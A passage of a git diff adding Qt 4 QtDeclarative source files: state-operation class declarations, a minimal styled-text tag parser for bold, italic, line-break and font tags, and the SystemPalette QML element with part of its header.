+ QDeclarativeItem *parent() const;
+ void setParent(QDeclarativeItem *);
+
+ QDeclarativeItem *originalParent() const;
+
+ QDeclarativeScriptString x() const;
+ void setX(QDeclarativeScriptString x);
+ bool xIsSet() const;
+
+ QDeclarativeScriptString y() const;
+ void setY(QDeclarativeScriptString y);
+ bool yIsSet() const;
+
+ QDeclarativeScriptString width() const;
+ void setWidth(QDeclarativeScriptString width);
+ bool widthIsSet() const;
+
+ QDeclarativeScriptString height() const;
+ void setHeight(QDeclarativeScriptString height);
+ bool heightIsSet() const;
+
+ QDeclarativeScriptString scale() const;
+ void setScale(QDeclarativeScriptString scale);
+ bool scaleIsSet() const;
+
+ QDeclarativeScriptString rotation() const;
+ void setRotation(QDeclarativeScriptString rotation);
+ bool rotationIsSet() const;
+
+ virtual ActionList actions();
+
+ virtual void saveOriginals();
+ //virtual void copyOriginals(QDeclarativeActionEvent*);
+ virtual void execute(Reason reason = ActualChange);
+ virtual bool isReversable();
+ virtual void reverse(Reason reason = ActualChange);
+ virtual QString typeName() const;
+ virtual bool override(QDeclarativeActionEvent*other);
+ virtual void rewind();
+ virtual void saveCurrentValues();
+};
+
+class QDeclarativeStateChangeScriptPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeStateChangeScript : public QDeclarativeStateOperation, public QDeclarativeActionEvent
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeStateChangeScript)
+
+ Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript)
+ Q_PROPERTY(QString name READ name WRITE setName)
+
+public:
+ QDeclarativeStateChangeScript(QObject *parent=0);
+ ~QDeclarativeStateChangeScript();
+
+ virtual ActionList actions();
+
+ virtual QString typeName() const;
+
+ QDeclarativeScriptString script() const;
+ void setScript(const QDeclarativeScriptString &);
+
+ QString name() const;
+ void setName(const QString &);
+
+ virtual void execute(Reason reason = ActualChange);
+};
+
+class QDeclarativeAnchorChanges;
+class QDeclarativeAnchorSetPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeAnchorSet : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QDeclarativeScriptString left READ left WRITE setLeft RESET resetLeft)
+ Q_PROPERTY(QDeclarativeScriptString right READ right WRITE setRight RESET resetRight)
+ Q_PROPERTY(QDeclarativeScriptString horizontalCenter READ horizontalCenter WRITE setHorizontalCenter RESET resetHorizontalCenter)
+ Q_PROPERTY(QDeclarativeScriptString top READ top WRITE setTop RESET resetTop)
+ Q_PROPERTY(QDeclarativeScriptString bottom READ bottom WRITE setBottom RESET resetBottom)
+ Q_PROPERTY(QDeclarativeScriptString verticalCenter READ verticalCenter WRITE setVerticalCenter RESET resetVerticalCenter)
+ Q_PROPERTY(QDeclarativeScriptString baseline READ baseline WRITE setBaseline RESET resetBaseline)
+ //Q_PROPERTY(QDeclarativeItem *fill READ fill WRITE setFill RESET resetFill)
+ //Q_PROPERTY(QDeclarativeItem *centerIn READ centerIn WRITE setCenterIn RESET resetCenterIn)
+
+ /*Q_PROPERTY(qreal margins READ margins WRITE setMargins NOTIFY marginsChanged)
+ Q_PROPERTY(qreal leftMargin READ leftMargin WRITE setLeftMargin NOTIFY leftMarginChanged)
+ Q_PROPERTY(qreal rightMargin READ rightMargin WRITE setRightMargin NOTIFY rightMarginChanged)
+ Q_PROPERTY(qreal horizontalCenterOffset READ horizontalCenterOffset WRITE setHorizontalCenterOffset NOTIFY horizontalCenterOffsetChanged())
+ Q_PROPERTY(qreal topMargin READ topMargin WRITE setTopMargin NOTIFY topMarginChanged)
+ Q_PROPERTY(qreal bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY bottomMarginChanged)
+ Q_PROPERTY(qreal verticalCenterOffset READ verticalCenterOffset WRITE setVerticalCenterOffset NOTIFY verticalCenterOffsetChanged())
+ Q_PROPERTY(qreal baselineOffset READ baselineOffset WRITE setBaselineOffset NOTIFY baselineOffsetChanged())*/
+
+public:
+ QDeclarativeAnchorSet(QObject *parent=0);
+ virtual ~QDeclarativeAnchorSet();
+
+ QDeclarativeScriptString left() const;
+ void setLeft(const QDeclarativeScriptString &edge);
+ void resetLeft();
+
+ QDeclarativeScriptString right() const;
+ void setRight(const QDeclarativeScriptString &edge);
+ void resetRight();
+
+ QDeclarativeScriptString horizontalCenter() const;
+ void setHorizontalCenter(const QDeclarativeScriptString &edge);
+ void resetHorizontalCenter();
+
+ QDeclarativeScriptString top() const;
+ void setTop(const QDeclarativeScriptString &edge);
+ void resetTop();
+
+ QDeclarativeScriptString bottom() const;
+ void setBottom(const QDeclarativeScriptString &edge);
+ void resetBottom();
+
+ QDeclarativeScriptString verticalCenter() const;
+ void setVerticalCenter(const QDeclarativeScriptString &edge);
+ void resetVerticalCenter();
+
+ QDeclarativeScriptString baseline() const;
+ void setBaseline(const QDeclarativeScriptString &edge);
+ void resetBaseline();
+
+ QDeclarativeItem *fill() const;
+ void setFill(QDeclarativeItem *);
+ void resetFill();
+
+ QDeclarativeItem *centerIn() const;
+ void setCenterIn(QDeclarativeItem *);
+ void resetCenterIn();
+
+ /*qreal leftMargin() const;
+ void setLeftMargin(qreal);
+
+ qreal rightMargin() const;
+ void setRightMargin(qreal);
+
+ qreal horizontalCenterOffset() const;
+ void setHorizontalCenterOffset(qreal);
+
+ qreal topMargin() const;
+ void setTopMargin(qreal);
+
+ qreal bottomMargin() const;
+ void setBottomMargin(qreal);
+
+ qreal margins() const;
+ void setMargins(qreal);
+
+ qreal verticalCenterOffset() const;
+ void setVerticalCenterOffset(qreal);
+
+ qreal baselineOffset() const;
+ void setBaselineOffset(qreal);*/
+
+ QDeclarativeAnchors::Anchors usedAnchors() const;
+
+/*Q_SIGNALS:
+ void leftMarginChanged();
+ void rightMarginChanged();
+ void topMarginChanged();
+ void bottomMarginChanged();
+ void marginsChanged();
+ void verticalCenterOffsetChanged();
+ void horizontalCenterOffsetChanged();
+ void baselineOffsetChanged();*/
+
+private:
+ friend class QDeclarativeAnchorChanges;
+ Q_DISABLE_COPY(QDeclarativeAnchorSet)
+ Q_DECLARE_PRIVATE(QDeclarativeAnchorSet)
+};
+
+class QDeclarativeAnchorChangesPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeAnchorChanges : public QDeclarativeStateOperation, public QDeclarativeActionEvent
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeAnchorChanges)
+
+ Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject)
+ Q_PROPERTY(QDeclarativeAnchorSet *anchors READ anchors CONSTANT)
+
+public:
+ QDeclarativeAnchorChanges(QObject *parent=0);
+ ~QDeclarativeAnchorChanges();
+
+ virtual ActionList actions();
+
+ QDeclarativeAnchorSet *anchors();
+
+ QDeclarativeItem *object() const;
+ void setObject(QDeclarativeItem *);
+
+ virtual void execute(Reason reason = ActualChange);
+ virtual bool isReversable();
+ virtual void reverse(Reason reason = ActualChange);
+ virtual QString typeName() const;
+ virtual bool override(QDeclarativeActionEvent*other);
+ virtual bool changesBindings();
+ virtual void saveOriginals();
+ virtual bool needsCopy() { return true; }
+ virtual void copyOriginals(QDeclarativeActionEvent*);
+ virtual void clearBindings();
+ virtual void rewind();
+ virtual void saveCurrentValues();
+
+ QList<QDeclarativeAction> additionalActions();
+ virtual void saveTargetValues();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeParentChange)
+QML_DECLARE_TYPE(QDeclarativeStateChangeScript)
+QML_DECLARE_TYPE(QDeclarativeAnchorSet)
+QML_DECLARE_TYPE(QDeclarativeAnchorChanges)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESTATEOPERATIONS_H
diff --git a/src/declarative/util/qdeclarativestyledtext.cpp b/src/declarative/util/qdeclarativestyledtext.cpp
new file mode 100644
index 00000000..022a8220
--- /dev/null
+++ b/src/declarative/util/qdeclarativestyledtext.cpp
@@ -0,0 +1,347 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QStack>
+#include <QVector>
+#include <QPainter>
+#include <QTextLayout>
+#include <QDebug>
+#include <qmath.h>
+#include "private/qdeclarativestyledtext_p.h"
+
+/*
+ QDeclarativeStyledText supports few tags:
+
+ <b></b> - bold
+ <i></i> - italic
+ <br> - new line
+ <font color="color_name" size="1-7"></font>
+
+ The opening and closing tags must be correctly nested.
+*/
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeStyledTextPrivate
+{
+public:
+ QDeclarativeStyledTextPrivate(const QString &t, QTextLayout &l) : text(t), layout(l), baseFont(layout.font()) {}
+
+ void parse();
+ bool parseTag(const QChar *&ch, const QString &textIn, QString &textOut, QTextCharFormat &format);
+ bool parseCloseTag(const QChar *&ch, const QString &textIn);
+ void parseEntity(const QChar *&ch, const QString &textIn, QString &textOut);
+ bool parseFontAttributes(const QChar *&ch, const QString &textIn, QTextCharFormat &format);
+ QPair<QStringRef,QStringRef> parseAttribute(const QChar *&ch, const QString &textIn);
+ QStringRef parseValue(const QChar *&ch, const QString &textIn);
+
+ inline void skipSpace(const QChar *&ch) {
+ while (ch->isSpace() && !ch->isNull())
+ ++ch;
+ }
+
+ QString text;
+ QTextLayout &layout;
+ QFont baseFont;
+
+ static const QChar lessThan;
+ static const QChar greaterThan;
+ static const QChar equals;
+ static const QChar singleQuote;
+ static const QChar doubleQuote;
+ static const QChar slash;
+ static const QChar ampersand;
+};
+
+const QChar QDeclarativeStyledTextPrivate::lessThan(QLatin1Char('<'));
+const QChar QDeclarativeStyledTextPrivate::greaterThan(QLatin1Char('>'));
+const QChar QDeclarativeStyledTextPrivate::equals(QLatin1Char('='));
+const QChar QDeclarativeStyledTextPrivate::singleQuote(QLatin1Char('\''));
+const QChar QDeclarativeStyledTextPrivate::doubleQuote(QLatin1Char('\"'));
+const QChar QDeclarativeStyledTextPrivate::slash(QLatin1Char('/'));
+const QChar QDeclarativeStyledTextPrivate::ampersand(QLatin1Char('&'));
+
+QDeclarativeStyledText::QDeclarativeStyledText(const QString &string, QTextLayout &layout)
+: d(new QDeclarativeStyledTextPrivate(string, layout))
+{
+}
+
+QDeclarativeStyledText::~QDeclarativeStyledText()
+{
+ delete d;
+}
+
+void QDeclarativeStyledText::parse(const QString &string, QTextLayout &layout)
+{
+ if (string.isEmpty())
+ return;
+ QDeclarativeStyledText styledText(string, layout);
+ styledText.d->parse();
+}
+
+void QDeclarativeStyledTextPrivate::parse()
+{
+ QList<QTextLayout::FormatRange> ranges;
+ QStack<QTextCharFormat> formatStack;
+
+ QString drawText;
+ drawText.reserve(text.count());
+
+ int textStart = 0;
+ int textLength = 0;
+ int rangeStart = 0;
+ const QChar *ch = text.constData();
+ while (!ch->isNull()) {
+ if (*ch == lessThan) {
+ if (textLength)
+ drawText.append(QStringRef(&text, textStart, textLength));
+ if (rangeStart != drawText.length() && formatStack.count()) {
+ QTextLayout::FormatRange formatRange;
+ formatRange.format = formatStack.top();
+ formatRange.start = rangeStart;
+ formatRange.length = drawText.length() - rangeStart;
+ ranges.append(formatRange);
+ }
+ rangeStart = drawText.length();
+ ++ch;
+ if (*ch == slash) {
+ ++ch;
+ if (parseCloseTag(ch, text)) {
+ if (formatStack.count())
+ formatStack.pop();
+ }
+ } else {
+ QTextCharFormat format;
+ if (formatStack.count())
+ format = formatStack.top();
+ if (parseTag(ch, text, drawText, format))
+ formatStack.push(format);
+ }
+ textStart = ch - text.constData() + 1;
+ textLength = 0;
+ } else if (*ch == ampersand) {
+ ++ch;
+ drawText.append(QStringRef(&text, textStart, textLength));
+ parseEntity(ch, text, drawText);
+ textStart = ch - text.constData() + 1;
+ textLength = 0;
+ } else {
+ ++textLength;
+ }
+ if (!ch->isNull())
+ ++ch;
+ }
+ if (textLength)
+ drawText.append(QStringRef(&text, textStart, textLength));
+ if (rangeStart != drawText.length() && formatStack.count()) {
+ QTextLayout::FormatRange formatRange;
+ formatRange.format = formatStack.top();
+ formatRange.start = rangeStart;
+ formatRange.length = drawText.length() - rangeStart;
+ ranges.append(formatRange);
+ }
+
+ layout.setText(drawText);
+ layout.setAdditionalFormats(ranges);
+}
+
+bool QDeclarativeStyledTextPrivate::parseTag(const QChar *&ch, const QString &textIn, QString &textOut, QTextCharFormat &format)
+{
+ skipSpace(ch);
+
+ int tagStart = ch - textIn.constData();
+ int tagLength = 0;
+ while (!ch->isNull()) {
+ if (*ch == greaterThan) {
+ QStringRef tag(&textIn, tagStart, tagLength);
+ const QChar char0 = tag.at(0);
+ if (char0 == QLatin1Char('b')) {
+ if (tagLength == 1)
+ format.setFontWeight(QFont::Bold);
+ else if (tagLength == 2 && tag.at(1) == QLatin1Char('r')) {
+ textOut.append(QChar(QChar::LineSeparator));
+ return false;
+ }
+ } else if (char0 == QLatin1Char('i')) {
+ if (tagLength == 1)
+ format.setFontItalic(true);
+ }
+ return true;
+ } else if (ch->isSpace()) {
+ // may have params.
+ QStringRef tag(&textIn, tagStart, tagLength);
+ if (tag == QLatin1String("font"))
+ return parseFontAttributes(ch, textIn, format);
+ if (*ch == greaterThan || ch->isNull())
+ continue;
+ } else if (*ch != slash){
+ tagLength++;
+ }
+ ++ch;
+ }
+
+ return false;
+}
+
+bool QDeclarativeStyledTextPrivate::parseCloseTag(const QChar *&ch, const QString &textIn)
+{
+ skipSpace(ch);
+
+ int tagStart = ch - textIn.constData();
+ int tagLength = 0;
+ while (!ch->isNull()) {
+ if (*ch == greaterThan) {
+ QStringRef tag(&textIn, tagStart, tagLength);
+ const QChar char0 = tag.at(0);
+ if (char0 == QLatin1Char('b')) {
+ if (tagLength == 1)
+ return true;
+ else if (tag.at(1) == QLatin1Char('r') && tagLength == 2)
+ return true;
+ } else if (char0 == QLatin1Char('i')) {
+ if (tagLength == 1)
+ return true;
+ } else if (tag == QLatin1String("font")) {
+ return true;
+ }
+ return false;
+ } else if (!ch->isSpace()){
+ tagLength++;
+ }
+ ++ch;
+ }
+
+ return false;
+}
+
+void QDeclarativeStyledTextPrivate::parseEntity(const QChar *&ch, const QString &textIn, QString &textOut)
+{
+ int entityStart = ch - textIn.constData();
+ int entityLength = 0;
+ while (!ch->isNull()) {
+ if (*ch == QLatin1Char(';')) {
+ QStringRef entity(&textIn, entityStart, entityLength);
+ if (entity == QLatin1String("gt"))
+ textOut += QChar(62);
+ else if (entity == QLatin1String("lt"))
+ textOut += QChar(60);
+ else if (entity == QLatin1String("amp"))
+ textOut += QChar(38);
+ return;
+ }
+ ++entityLength;
+ ++ch;
+ }
+}
+
+bool QDeclarativeStyledTextPrivate::parseFontAttributes(const QChar *&ch, const QString &textIn, QTextCharFormat &format)
+{
+ bool valid = false;
+ QPair<QStringRef,QStringRef> attr;
+ do {
+ attr = parseAttribute(ch, textIn);
+ if (attr.first == QLatin1String("color")) {
+ valid = true;
+ format.setForeground(QColor(attr.second.toString()));
+ } else if (attr.first == QLatin1String("size")) {
+ valid = true;
+ int size = attr.second.toString().toInt();
+ if (attr.second.at(0) == QLatin1Char('-') || attr.second.at(0) == QLatin1Char('+'))
+ size += 3;
+ if (size >= 1 && size <= 7) {
+ static const qreal scaling[] = { 0.7, 0.8, 1.0, 1.2, 1.5, 2.0, 2.4 };
+ format.setFontPointSize(baseFont.pointSize() * scaling[size-1]);
+ }
+ }
+ } while (!ch->isNull() && !attr.first.isEmpty());
+
+ return valid;
+}
+
+QPair<QStringRef,QStringRef> QDeclarativeStyledTextPrivate::parseAttribute(const QChar *&ch, const QString &textIn)
+{
+ skipSpace(ch);
+
+ int attrStart = ch - textIn.constData();
+ int attrLength = 0;
+ while (!ch->isNull()) {
+ if (*ch == greaterThan) {
+ break;
+ } else if (*ch == equals) {
+ ++ch;
+ if (*ch != singleQuote && *ch != doubleQuote) {
+ while (*ch != greaterThan && !ch->isNull())
+ ++ch;
+ break;
+ }
+ ++ch;
+ if (!attrLength)
+ break;
+ QStringRef attr(&textIn, attrStart, attrLength);
+ QStringRef val = parseValue(ch, textIn);
+ if (!val.isEmpty())
+ return QPair<QStringRef,QStringRef>(attr,val);
+ break;
+ } else {
+ ++attrLength;
+ }
+ ++ch;
+ }
+
+ return QPair<QStringRef,QStringRef>();
+}
+
+QStringRef QDeclarativeStyledTextPrivate::parseValue(const QChar *&ch, const QString &textIn)
+{
+ int valStart = ch - textIn.constData();
+ int valLength = 0;
+ while (*ch != singleQuote && *ch != doubleQuote && !ch->isNull()) {
+ ++valLength;
+ ++ch;
+ }
+ if (ch->isNull())
+ return QStringRef();
+ ++ch; // skip quote
+
+ return QStringRef(&textIn, valStart, valLength);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativestyledtext_p.h b/src/declarative/util/qdeclarativestyledtext_p.h
new file mode 100644
index 00000000..da86d4b3
--- /dev/null
+++ b/src/declarative/util/qdeclarativestyledtext_p.h
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESTYLEDTEXT_H
+#define QDECLARATIVESTYLEDTEXT_H
+
+#include <QSizeF>
+
+QT_BEGIN_NAMESPACE
+
+class QPainter;
+class QPointF;
+class QString;
+class QDeclarativeStyledTextPrivate;
+class QTextLayout;
+
+class Q_AUTOTEST_EXPORT QDeclarativeStyledText
+{
+public:
+ static void parse(const QString &string, QTextLayout &layout);
+
+private:
+ QDeclarativeStyledText(const QString &string, QTextLayout &layout);
+ ~QDeclarativeStyledText();
+
+ QDeclarativeStyledTextPrivate *d;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/util/qdeclarativesystempalette.cpp b/src/declarative/util/qdeclarativesystempalette.cpp
new file mode 100644
index 00000000..984909e1
--- /dev/null
+++ b/src/declarative/util/qdeclarativesystempalette.cpp
@@ -0,0 +1,312 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativesystempalette_p.h"
+
+#include <QApplication>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeSystemPalettePrivate : public QObjectPrivate
+{
+public:
+ QPalette palette;
+ QPalette::ColorGroup group;
+};
+
+
+
+/*!
+ \qmlclass SystemPalette QDeclarativeSystemPalette
+ \ingroup qml-utility-elements
+ \since 4.7
+ \brief The SystemPalette element provides access to the Qt palettes.
+
+ The SystemPalette element provides access to the Qt application
+ palettes. This provides information about the standard colors used
+ for application windows, buttons and other features. These colors
+ are grouped into three \e {color groups}: \c Active, \c Inactive,
+ and \c Disabled. See the QPalette documentation for details about
+ color groups and the properties provided by SystemPalette.
+
+ This can be used to color items in a way that provides a more
+ native look and feel.
+
+ The following example creates a palette from the \c Active color
+ group and uses this to color the window and text items
+ appropriately:
+
+ \snippet doc/src/snippets/declarative/systempalette.qml 0
+
+ \sa QPalette
+*/
+QDeclarativeSystemPalette::QDeclarativeSystemPalette(QObject *parent)
+ : QObject(*(new QDeclarativeSystemPalettePrivate), parent)
+{
+ Q_D(QDeclarativeSystemPalette);
+ d->palette = QApplication::palette();
+ d->group = QPalette::Active;
+ qApp->installEventFilter(this);
+}
+
+QDeclarativeSystemPalette::~QDeclarativeSystemPalette()
+{
+}
+
+/*!
+ \qmlproperty color SystemPalette::window
+ The window (general background) color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::window() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Window);
+}
+
+/*!
+ \qmlproperty color SystemPalette::windowText
+ The window text (general foreground) color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::windowText() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::WindowText);
+}
+
+/*!
+ \qmlproperty color SystemPalette::base
+ The base color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::base() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Base);
+}
+
+/*!
+ \qmlproperty color SystemPalette::text
+ The text color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::text() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Text);
+}
+
+/*!
+ \qmlproperty color SystemPalette::alternateBase
+ The alternate base color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::alternateBase() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::AlternateBase);
+}
+
+/*!
+ \qmlproperty color SystemPalette::button
+ The button color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::button() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Button);
+}
+
+/*!
+ \qmlproperty color SystemPalette::buttonText
+ The button text foreground color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::buttonText() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::ButtonText);
+}
+
+/*!
+ \qmlproperty color SystemPalette::light
+ The light color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::light() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Light);
+}
+
+/*!
+ \qmlproperty color SystemPalette::midlight
+ The midlight color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::midlight() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Midlight);
+}
+
+/*!
+ \qmlproperty color SystemPalette::dark
+ The dark color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::dark() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Dark);
+}
+
+/*!
+ \qmlproperty color SystemPalette::mid
+ The mid color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::mid() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Mid);
+}
+
+/*!
+ \qmlproperty color SystemPalette::shadow
+ The shadow color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::shadow() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Shadow);
+}
+
+/*!
+ \qmlproperty color SystemPalette::highlight
+ The highlight color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::highlight() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::Highlight);
+}
+
+/*!
+ \qmlproperty color SystemPalette::highlightedText
+ The highlighted text color of the current color group.
+
+ \sa QPalette::ColorRole
+*/
+QColor QDeclarativeSystemPalette::highlightedText() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return d->palette.color(d->group, QPalette::HighlightedText);
+}
+
+/*!
+ \qmlproperty enumeration SystemPalette::colorGroup
+
+ The color group of the palette. This can be one of:
+
+ \list
+ \o SystemPalette.Active (default)
+ \o SystemPalette.Inactive
+ \o SystemPalette.Disabled
+ \endlist
+
+ \sa QPalette::ColorGroup
+*/
+QDeclarativeSystemPalette::ColorGroup QDeclarativeSystemPalette::colorGroup() const
+{
+ Q_D(const QDeclarativeSystemPalette);
+ return (QDeclarativeSystemPalette::ColorGroup)d->group;
+}
+
+void QDeclarativeSystemPalette::setColorGroup(QDeclarativeSystemPalette::ColorGroup colorGroup)
+{
+ Q_D(QDeclarativeSystemPalette);
+ d->group = (QPalette::ColorGroup)colorGroup;
+ emit paletteChanged();
+}
+
+bool QDeclarativeSystemPalette::eventFilter(QObject *watched, QEvent *event)
+{
+ if (watched == qApp) {
+ if (event->type() == QEvent::ApplicationPaletteChange) {
+ QApplication::postEvent(this, new QEvent(QEvent::ApplicationPaletteChange));
+ return false;
+ }
+ }
+ return QObject::eventFilter(watched, event);
+}
+
+bool QDeclarativeSystemPalette::event(QEvent *event)
+{
+ Q_D(QDeclarativeSystemPalette);
+ if (event->type() == QEvent::ApplicationPaletteChange) {
+ d->palette = QApplication::palette();
+ emit paletteChanged();
+ return true;
+ }
+ return QObject::event(event);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativesystempalette_p.h b/src/declarative/util/qdeclarativesystempalette_p.h
new file mode 100644
index 00000000..780479b0
--- /dev/null
+++ b/src/declarative/util/qdeclarativesystempalette_p.h
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESYSTEMPALETTE_H
+#define QDECLARATIVESYSTEMPALETTE_H
+
+#include <qdeclarative.h>
+
